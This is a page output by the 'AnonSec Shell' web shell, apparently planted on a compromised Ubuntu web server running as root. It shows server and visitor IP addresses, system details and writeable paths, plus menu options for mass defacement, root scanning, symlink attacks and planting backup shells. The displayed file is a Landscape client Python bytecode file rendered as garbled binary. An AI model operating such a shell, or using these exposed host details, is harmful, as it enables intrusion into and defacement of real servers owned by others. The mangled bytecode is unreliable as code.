AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/landscape/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/landscape/lib/__pycache__/vm_info.cpython-310.pyc
o

���cd�@sXdZddlZddlmZmZdZddd�Zdd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)zG
Network introspection utilities using ioctl and the /proc filesystem.
�N)�read_binary_file�read_text_file)�
sys_vendor�chassis_vendor�bios_vendor�product_name�/cCsht|�rdSt|�rdStj�|d�}tD]}tj�||�}tj�|�s%qt|�}|r/|Sqt|�S)a
    Return a bytestring with the virtualization type if it's known, an empty
    bytestring otherwise.

    It loops through some possible configurations and return a bytestring with
    the name of the technology being used or None if there's no match
    sopenvzsxenzsys/class/dmi/id)	�
_is_vm_openvz�
_is_vm_xen�os�path�join�	DMI_FILES�exists�_get_vm_by_vendor�_get_vm_legacy)�	root_path�
dmi_info_path�
dmi_info_file�dmi_vendor_path�vendor�r�7/usr/lib/python3/dist-packages/landscape/lib/vm_info.py�get_vm_infos�r�/runcCs8dD]}tj�||�}tj�|�rt|���SqdS)zu
    Return a string with the type of container the client is running in, if
    any, an empty string otherwise.
    )�container_typezsystemd/container�)rrr
rr�strip)�run_path�filenamerrrr�get_container_info's�r cCs$tj�|d�}tj�|�ot�|�S)z*Check if the host is virtualized with Xen.zsys/bus/xen/devices)rrr
�isdir�listdir)r�sys_xen_pathrrrr
3sr
cCstj�tj�|d��S)z-Check if the host is virtualized with OpenVZ.zproc/vz)rrrr
)rrrrr	:sr	cCs6t|dd���}d}|D]\}}||vr|SqdS)zDReturn the VM type byte string (possibly empty) based on the vendor.i)�limit)
)s
amazon ec2�kvm)sbochsr%)sdigitaloceanr%)sgooglesgce)sinnoteks
virtualbox)s	microsoftshyperv)snutanixr%)s	openstackr%)sqemur%)r%r%)�vmwarer&)srhevr%)s	parallelsr%�)r�lower)�sys_vendor_pathr�content_vendors_map�name�vm_typerrrr?s�rc	Cs@zttj�|d��}WnttfyYdSwd|vrdSdS)zBCheck if the host is virtualized looking at /proc/cpuinfo content.zproc/cpuinfor'�qemur%)rrrr
�IOError�OSError)r�cpuinforrrr[s�r)r)r)�__doc__r�landscape.lib.fsrrrrr r
r	rrrrrr�<module>s



Anon7 - 2022
AnonSec Team